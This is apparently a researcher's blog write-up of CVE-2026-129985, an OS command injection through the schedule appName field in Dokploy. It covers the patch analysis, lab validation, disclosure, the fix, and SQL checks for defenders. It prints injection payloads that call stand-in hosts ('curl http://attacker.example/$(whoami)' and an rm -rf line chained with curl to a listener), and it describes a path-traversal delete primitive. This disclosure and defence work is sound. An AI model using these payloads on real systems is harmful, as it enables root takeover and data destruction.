MEMO #012 // CLASSIFIED FIELD DISPATCH STATUS: PUBLISHED NOTEBOOK UTC: --:--:--
SHORTCUT: [T] THEME / [ESC] BACK
ROOT / DISPATCHES / MEMO #012
DISPATCH // FIELD INTELLIGENCE MEMO CVSS 8.7 HIGH

Stored, Unquoted, Root: CVE-2026-129985 in Dokploy

CVE IDENTIFIER CVE-2026-129985
TARGET RUNTIME Dokploy prior to 0.31.1
VULN PRIMITIVE OS Command Injection (CWE-77)
DISCLOSURE DATE 2026-11-18 UTC
RESEARCH OPERATIVE Akinlabi [Lulztigre]
[ABSTRACT & CORE THESIS]

I found this in October while building an exploit for an older Dokploy CVE. That exploit is MEMO #009. This is the bug I hit while reading the fix, and the advisory now credits me as a reporter.

1. The job that started this

Back in October I was on a red team engagement where the client was running Dokploy, and the version they had was right in the vulnerable range for CVE-2026-72867. The advisory gave a fixed version and a score, but there was no public exploit.

I have put that sentence in a client report before and watched it turn into a patch ticket. So I pulled the source, rebuilt the image, and wrote the exploit. That work is MEMO #009.

What I didn't write up was what came after. The fix in 0.29.13 quoted every git field in five provider builders using one helper. Once you've seen that patch, the rest of the server package reads differently. It starts to look like a list of places where a database row becomes a shell command. So I read through the helper, then went through the whole package looking for the same pattern anywhere else.

2. Reading the patch

Commit 47347ab is six files and one new function:

export const shellWord = (value: string | number | null | undefined): string =>
  quote([String(value ?? "")]);

That function is the vendor saying what they think the bug was: a stored string reaching a shell without quoting. The commit only wrapped calls they knew about. Anything left untouched was either safe by design or still unchecked.

I read every execAsync and execAsyncRemote call site in packages/server/src, around 150 of them. For each one I wanted to know which request field reaches it, and whether a schema or router rule constrains that field. I also checked whether the current release has a guard the pinned version did not, and what a plain member account can do.

The schedule service had two builders reading the same field. handleScript on save, deleteSchedule on delete. Neither of them quoted appName.

3. The first version of the bug

handleScript sits at packages/server/src/services/schedule.ts:147 and builds one script:

const fullPath = path.join(SCHEDULES_PATH, schedule?.appName || "");

const script = `
	 mkdir -p ${fullPath}
	 rm -f ${fullPath}/script.sh
	 touch ${fullPath}/script.sh
	 chmod +x ${fullPath}/script.sh
	 echo "${encodedContent}" | base64 -d > ${fullPath}/script.sh
`;

Five lines, and appName lands in every one of them with no quoting.

appName looks like something the server generates, and normally it is. You can see that at packages/server/src/db/schema/schedule.ts:29:

appName: text("appName")
	.notNull()
	.$defaultFn(() => generateAppName("schedule")),

The problem is drizzle-zod 0.5.1. If a column is not null but has a default, the insert schema treats it as optional, so the client is allowed to supply appName themselves. The default only fills in when the field is missing.

There was another gap on 0.29.12. If the create body included an applicationId or a composeId, the router checked access to that service and stopped. It never ran the owner and admin check. That check only ran when there was no service id and the schedule type was server or dokploy-server. So a member with access to one service could get in through the service check and still create a dokploy-server schedule.

I tried it in the lab as a member, with this in the name:

mysched; curl http://attacker.example/$(whoami); #

Five callbacks came back in the same second, one per line. A sixth came from deleting the row afterward. It was a real member-to-root proof on 0.29.12, and it was not going to stay that way for long

4. Why the first bug was not the vuln

v0.29.13 added assertHostScheduleAccess:

if (scheduleType !== "server" && scheduleType !== "dokploy-server") return;
...
if (member.role !== "owner" && member.role !== "admin") {
  throw new TRPCError({ code: "FORBIDDEN", ... });
}

It returns early unless the type is server or dokploy-server, then it ask for owner or admin. The router now runs it first on create, update, delete and runManually. On 0.30.8 I sent the same member create with a host type and got a 403: Only owners and admins can manage server-level schedules.

So that create route really was a 0.29.12 finding. I had already drafted the louder version of the report by then. I rewrote it, put the correction in the covering email, and went back to look at the delete path again. The new check looks at the schedule type. The delete command is still built from appName.

5. The delete path

deleteSchedule does not look at the type at all:

const fullPath = path.join(SCHEDULES_PATH, schedule?.appName || "");
const command = `rm -rf ${fullPath}`;
if (serverId) {
  await execAsyncRemote(serverId, command);
} else {
  await execAsync(command);
}

The router checks the host type first, then service access if a service id exists, and falls back to the organization permission check when there is none. The built-in member role has schedule read, create, update and delete. A compose-type schedule with no service attached goes down the org check, and a member passes it.

So a member creates a compose-type schedule, attaches nothing, and deletes it. The create stores the string and runs nothing. The delete is where it builds the command, and that runs as root:

rm -rf /etc/dokploy/schedules/x;curl -s --max-time 10 http://LISTENER/TOKEN-$(id -u)-$(id -un);echo

The trailing echo is left over from the branch payload, where I needed it to swallow the rest of the clone line and keep the if block valid. deleteSchedule does not wrap anything, so the echo is optional here. The semicolon ends the rm, and the echo just takes whatever is left of the line.

6. Validating it locally

The target was v0.30.8 from the published image, set up with the socket bind from the installer. That bind is the reason container root ends up as host root.

I ran the negative control first. Creating a host type schedule as a member came back 403. The compose-type create with the payload returned 200, and the string was stored exactly as I sent it. Nothing hit the listener for 12 seconds with cron off. Then I deleted it, the delete returned true, and a callback landed in the same second with 0-root in the path.

I ran it six times as a member and got six callbacks. On the last run I left composeId and no applicationId out of the body altogether. The create still returned 200, the delete still returned true, and the callback still came in. The benign control used the same calls without the payload and produced nothing.

My lab runs on Docker Desktop on Windows, so the socket escape lands in the Desktop VM. On a Linux install it lands on the host. I copied the image, the root user, and the socket mount from the installer, which is why the scope claim comes from the installer setup and not from my laptop.

7. What i left out and why

Before I sent anything, I tried to kill the report myself, using the objections a maintainer would probably raise (PTSD from hackerone and YWH). The member role is static, so the privilege argument went nowhere. The run with no service attached killed the shared service argument. For container root, I pointed to the installer. It mounts the Docker socket, so on a Linux install the callback lands on the host. I also checked the two earlier advisories. Neither one mentions appName or deleteSchedule.

One objection held up, and it changed the report. On application and database services, a member could already add a bind mount with any hostPath and redeploy. In the lab that put the Docker socket inside the member's own container, and I listed containers through it. I sent the mount in as its own report. It also meant I could not claim this for every service type. compose.update returned 401 for that member, so the bind-mount route was closed on compose, and the schedule delete had to carry the compose half by itself. I narrowed the writeup to compose.

I liked the product-wide line, but the mount result meant it wasn't true, so I cut it.

8. Disclosure and credit

I sent the schedule report under coordinated disclosure with, with the traces, the PoC script, and the correction included. The maintainer acknowledged it and sent me a credit request for GHSA-8m32-h7qx-8r79 on 12 November. I accepted.

The advisory lists five finders, It credits everyone who reported the same bug, and I am one of them. A few of us sent it in around the same time without knowing the others had found it. That does not surprise me. appName is on every schedule row, and the sink is one unquoted string.

My report and the advisory describe different paths. The advisory goes with the save path on v0.29.4: create a schedule, set the name, save it. My proof was the delete path on v0.30.8, with no service attached. The fix commit covers both, and the PR says that plainly. Any member with schedule:create could put a command in the schedule name and get root on the control plane when it was deleted. The PR notes Cloud was affected too.

I'm not reading anything sinister into it. Five of us found the same unquoted string at about the same time, sent it in, and got folded into one advisory. Someone had to pick one narrative for it, and they did not pick mine. The delete path is in the PR text anyway, which is the bit engineers will actually read. It also turns up as an item in GHSA-fgh8-p4fg-jc8h, from yet another report. deleteSchedule was clearly popular.

9. What changed in 0.31.1

Commit 0fa3101a, shipped in 0.31.1. Two changes.

The input schema stops accepting the field:

export const createScheduleSchema = createInsertSchema(schedules, {
	scheduleType: z.enum(["application", "compose", "server", "dokploy-server"]),
}).omit({ appName: true, organizationId: true });

New rows get the generated name. The client cannot choose it.

The sinks quote it:

const command = `rm -rf ${quote([fullPath])}`;

and:

const dir = quote([fullPath]);
const file = quote([path.join(fullPath, "script.sh")]);

That same commit also quotes the remote schedule log directory in packages/server/src/services/deployment.ts:484. The schema change stops a new row from choosing it's own appName. quote() is there for rows already in the table, when the command runs through a shell.

10. Old rows

Two things are still in the 0.31.1 tree, and both only matter if a bad row is already in the table before the fix.

quote() stops the shell part. It does not stop a path traversal. path.join normalizes the parent segments before the command is built:

path.join("/etc/dokploy/schedules", "../../../etc")  ->  /etc

So a row with ../ in its name still points the recursive delete outside the schedule directory. Quoting makes the string literal, It does not keep it contained. And the row gets deleted in the same call, so it is a one shot, destructive primitive.

The other leftover is the remote run command for a server-type schedule. At packages/server/src/utils/schedules/utils.ts:175 the name is joined onto the path, and the bash invocation four lines later does not quote it. A new row cannot carry metacharacters after the schema change. A row planted before the upgrade can, and it runs when the schedule fires.

Neither is a new bug for a patched install. They are reasons to clean old rows instead of trusting the upgrade.

11. Checking your own install

Version first. settings.getDokployVersion returns the build string, and anything below 0.31.1 is in range.

Then the rows:

select "scheduleId", name, "appName", "scheduleType", "createdAt"
from schedule
where "appName" ~ '[^A-Za-z0-9._-]';

and the traversal check:

select "scheduleId", "appName" from schedule where "appName" like '%..%';

On the host, list /etc/dokploy/schedules and compare the names to the appName column. The column is the evidence. A dokploy-server row created by a member before 0.29.13 is the one I open first, and the audit table has the create event for it.

Cleanup is delete and recreate through the dashboard, or a SQL rename plus the matching directory move. If you cannot upgrade yet, block schedule create, update and delete for non-admins at the proxy.

12. Scoring it

I scored the delete path at 9.9 under CVSS 3.1 with a scope change on a default install, and 8.8 without the socket. The save path as a member on 0.29.12 got to the same place with fewer steps.

The CVSS 4 vector fits the delete path, not the sentence in the advisory. PR:L makes sense for a member account. It is generous for the save path on 0.29.13 through 0.30.8, where the guard needs an owner or admin. One score was never going to describe a bug where the required privilege changes twice across the affected range.

The record is CVE-2026-129985, GHSA-8m32-h7qx-8r79, CWE-77, CVSS 4.0 8.7, fixed in 0.31.1 by 0fa3101a and pull request 5906.

The advisory has a minimal curl for the save path. The traces show the delete returning true and the callback with 0-root in the path. Those are what I hand a defender. The delete-path script stays in the research folder.

BIBTEX CITATION
@article{lulz2026_dokploy-cv,
  author    = {Lulztigre},
  title     = {Stored, Unquoted, Root: CVE-2026-129985 in Dokploy},
  journal   = {Lulztigre Dispatches},
  year      = {2026},
  url       = {https://lulztigre.pw/posts/dokploy-cve-2026-129985-schedule-appname.html}
}